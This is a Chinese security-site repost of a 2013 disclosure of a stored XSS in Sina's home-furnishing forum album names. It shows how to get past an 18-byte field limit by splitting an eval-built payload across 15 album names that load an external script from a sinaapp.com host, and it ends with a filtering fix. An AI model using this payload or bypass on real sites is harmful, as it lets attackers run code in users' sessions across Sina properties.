设为首页 - 加入收藏 - 网站地图 SecYe安全 Www.SecYe.Com - 国内网络信息安全IT技术门户网
当前位置:SecYe > 安全中心 > 最新漏洞 > 正文

新浪家居某功能储存型xss

时间:2013-05-15 09:45 来源:未知 作者:www.secye.com 阅读:

新浪通行证登录,经过测试,此xss影响不到新浪微博,可以影响sina.com.cn域名下的所有产品,缺陷位置限制了长度最多20字节(实际上是18字节),通过了一些构造,可以绕过后进行调用任意外部js文件。很典型的一个长度限制绕过的xss利用的案例~~

测试效果地址(漏洞证明):http://u.bbs.house.sina.com.cn/space.php?mod=myalbums&uid=1821326284
 
 
 
1 缺陷位置为新浪家居的相册名字位置(<img>的value属性)。此处没有过滤任何特殊字符,但是有限制字符长度20字节。
 
 
2 但是,在js中
alert(1);可以这样写
var x="ale";x+="rt(";x+"=1)";eval(x);如图,构造alert(1),成功执行弹窗。两个位置都有影响,不过图片管理那个位置,别人是看不到的。
 








 
3 测试插入外部js,虽然这里限制为20字节,但是测试时候发现,最多只能插入18个字节。所以就创建15个相册(最多可以创建20个相册),进行构造。
 
 
 
先进行本地测试,构造代码为。
 
 
 
 
"><script>/*
*/var x="with(";/*
*/x+="document";/*
*/x+=")body.ap";/*
*/x+="pendChil";/*
*/x+="d(create";/*
*/x+="Element(";/*
*/x+="'script";/*
*/x+="')).sr";/*
*/x+="c='//px";/*
*/x+="1624.sin";/*
*/x+="aapp.com";/*
*/x+="/t.js'";/*
*/eval(x);/*
*/</script>
 
 
 
alert一下看下构造的代码对不对。
 
然后用charles构造进行post发包,过程中,还遇到了很多恶心的问题,比如由于' \ "等特殊字符影响,导致不能一次将15个数据同时插入之类的问题。
 
 
 
不过通过来回的调试,最终还是给全都解决了。成功插入后,F12看到的如下图。
 
4 执行外部js中的代码。
 
 
由于是新浪通行证登录,所以可以影响sina.com.cn域名下的所有产品。
 
 
 
由于新浪微博跨域了,而且还有referer验证,所以影响不到新浪微博。
 
 
 
 
修复方案

过滤特殊字符
 

本文来源:SecYe安全网[http://www.secye.com] (责任编辑:SecYe安全)

点击复制链接 与好友分享!

顶一下
(0)
0%
踩一下
(0)
0%